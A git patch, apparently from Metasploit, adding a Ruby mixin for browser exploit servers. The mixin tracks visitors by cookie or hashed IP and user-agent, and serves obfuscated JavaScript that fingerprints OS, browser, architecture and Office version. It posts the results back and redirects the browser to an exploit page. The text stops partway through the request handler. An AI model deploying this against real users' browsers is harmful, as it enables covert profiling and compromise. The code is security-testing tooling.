From 00efad5c5dbb0d5b6acf31415a556c3c15e4f985 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 31 Oct 2013 13:17:06 -0500 Subject: [PATCH 01/73] Initial commit for BrowserExploitServer mixin --- lib/msf/core/exploit/browser/server.rb | 358 +++++++++++++++++++++++++ lib/msf/core/exploit/http/server.rb | 5 + lib/msf/core/exploit/mixins.rb | 2 + 3 files changed, 365 insertions(+) create mode 100644 lib/msf/core/exploit/browser/server.rb diff --git a/lib/msf/core/exploit/browser/server.rb b/lib/msf/core/exploit/browser/server.rb new file mode 100644 index 0000000000..e9f6e44660 --- /dev/null +++ b/lib/msf/core/exploit/browser/server.rb @@ -0,0 +1,358 @@ +# -*- coding: binary -*- + +require 'erb' +require 'rex/exploitation/js' + +### +# +# The BrowserExploitServer mixin provides methods to acheive common tasks seen in modern browser +# exploitation, and is designed to work against common setups such as on Windows, OSX, and Linux. +# +### + +module Msf + module Exploit::Remote::BrowserExploitServer + + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb + + def initialize(info={}) + super + + # Profile structure: + # { + # 'cookie' => + # { + # 'os_name' => 'Windows', + # 'os_flavor' => 'something' + # ...... etc ...... + # } + # } + # A profile should at least have info about the following: + # tag : Hash key. This is either an actual cookie, or a MD5 hash of target IP + user-agent + # :source : The data source. Either from 'script', or 'headers'. The 'script' source + # should be more accureate in some scenarios like browser compatibility mode + # :ua_name : The name of the browser + # :ua_ver : The version of the browser + # :os_name : The name of the OS + # :language: The system's language + # :arch : The system's arch + # :proxy : Indicates whether proxy is used + # + # For more info about what the actual value might be for each key, see HttpServer. + # + # If the source is 'script', the profile might have even more information about plugins: + # 'office' : The version of Microsoft Office (IE only) + @target_profiles = [] + + # Requirements are conditions that the browser must have in order to be exploited. + # They must be defined by the module, and the mixin should check them before the + # exploit is actually deployed. + @requirements = {} + + @info_receiver_page = "info" + @exploit_receiver_page = "exploit" + @noscript_receiver_page = "noscript" + + register_options( + [ + OptBool.new('Retries', [false, "Allow the browser to retry the module", true]) + ], Exploit::Remote::BrowserExploitServer) + end + + # + # Defines requirements by the module. + # The keys the module can define are the same as the ones in @target_profiles + # + def requirements(reqs={}) + @requirements = reqs + end + + # + # Returns an array of items that do not meet the requirements + # + def has_bad_requirements?(target_profile) + profile = target_profile[target_profile.first[0]] + bad_reqs = [] + + @requirements.each do |k, v| + if v.class == Regexp + bad_reqs << k if profile[k] !~ v + else + bad_reqs << k if profile[k] != v + end + end + + bad_reqs + end + + # + # Returns the target profile based on the tag + # + def get_profile(tag) + @target_profiles.each do |profile| + return profile if profile[tag] + end + + nil + end + + # + # Updates information for a specific profile + # + def update_profile(target_profile, key, value) + target_profile[target_profile.first[0]][key] = value + end + + # + # Initializes a profile + # + def init_profile(tag) + @target_profiles << {tag => {}} + end + + # + # Retrieves a tag. + # First it obtains the tag from the browser's "Cookie" header. + # If the header is empty (possible if the browser has cookies disabled), + # then it will return a tag based on IP + the user-agent. + # + def retreive_tag(request) + tag = request.headers['Cookie'].to_s + + if tag.blank? + # Browser probably doesn't allow cookies, plan B :-/ + ip = cli.peerhost + os = request.headers['User-Agent'] + tag = Rex::Text.md5("#{ip}#{os}") + end + + tag + end + + # + # Registers target information to @target_profiles + # Acceptable sources include :script, and :headers + # + def process_user_info(source, cli, request) + tag = retreive_tag(request) + + # Browser doesn't allow cookies. Can't track that, use a different way to track. + init_profile(tag) if request.headers['Cookie'].blank? + target_profile = get_profile(tag) + + # Gathering target info from the detection stage + case source + when :script + # Gathers target data from a POST request + update_profile(target_profile, :source, 'script') + raw = Rex::Text.decode_base64(Rex::Text.uri_decode(request.body)) + raw.split('&').each do |item| + k, v = item.scan(/(\w+)=(.+)/).flatten + update_profile(target_profile, k.to_sym, v) + end + + when :headers + # Gathers target data from headers + # This may be less accureate, and most likely less info. + fp = fingerprint_user_agent(request.headers['User-Agent']) + # Module has all the info it needs, ua_string is kind of pointless. + # Kill this to save space. + fp.delete(:ua_string) + update_profile(target_profile, :source, 'headers') + fp.each do |k, v| + update_profile(target_profile, k.to_sym, v) + end + end + + # Other detections + update_profile(target_profile, :proxy, has_proxy?(request)) + update_profile(target_profile, :language, request.headers['Accept-Language'] || '') + + report_client({ + :host => cli.peerhost, + :ua_string => request.headers['User-Agent'], + :ua_name => target_profile[tag]['ua_name'], + :ua_ver => target_profile[tag]['ua_ver'] + }) + end + + # + # Checks if the target is running a proxy + # + def has_proxy?(request) + proxy_list = + [ + 'HTTP_VIA', 'HTTP_X_FORWARDED_FOR', 'HTTP_FORWARDED_FOR', 'HTTP_X_FORWARDED', + 'HTTP_FORWARDED', 'HTTP_CLIENT_IP', 'HTTP_FORWARDED_FOR_IP', 'VIA', 'X_FORWARDED_FOR', + 'FORWARDED_FOR', 'X_FORWARDED', 'FORWARDED', 'CLIENT_IP', 'FORWARDED_FOR_IP', + 'HTTP_PROXY_CONNECTION' + ].each do |name| + return true if request[name] + end + + false + end + + # + # Returns the code for client-side detection + # + def get_detection_html + js = ::Rex::Exploitation::JSObfu.new %Q| + #{js_base64} + #{js_os_detect} + #{js_addons_detect} + + function postInfo(data) { + var xmlHttp = ''; + if (window.XMLHttpRequest) { + xmlHttp = new XMLHttpRequest(); + } + else { + xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); + } + + if (xmlHttp.overrideMimeType) { + xmlHttp.overrideMimeType("text/plain; charset=x-user-defined"); + } + + xmlHttp.open('POST', "#{get_resource}/#{@info_receiver_page}/", false); + xmlHttp.send(data); + } + + function objToQuery(obj) { + var q = []; + for (var key in obj) { + q.push(key + '=' + obj[key]); + } + return escape(Base64.encode(q.join('&'))); + } + + window.onload = function() { + var osInfo = window.os_detect.getVersion(); + var d = { + "os_name" : osInfo.os_name, + "os_flavor" : osInfo.os_flavor, + "ua_name" : osInfo.ua_name, + "ua_ver" : osInfo.ua_version, + "arch" : osInfo.arch, + "office" : window.addons_detect.getMsOfficeVersion() + }; + var query = objToQuery(d); + postInfo(query); + window.location = "#{get_resource}/#{@exploit_receiver_page}/"; + } + | + + js.obfuscate + + %Q| + + + | + end + + # + # Handles exploit stages. + # + def on_request_uri(cli, request) + case request.uri + when /^#{get_resource}$/ + # + # This is the information gathering stage + # + print_status("Gathering target information.") + tag = Rex::Text.rand_text_alpha(rand(20) + 5) + init_profile(tag) + html = get_detection_html + send_response(cli, html, {'Set-Cookie' => tag}) + + when /#{@info_receiver_page}/ + # + # The detection code will hit this if Javascript is enabled + # + process_user_info(source=:script, cli, request) + send_response(cli, '') + + when /#{@noscript_receiver_page}/ + # + # The detection code will hit this instead of Javascript is disabled + # Should only be triggered by the img src in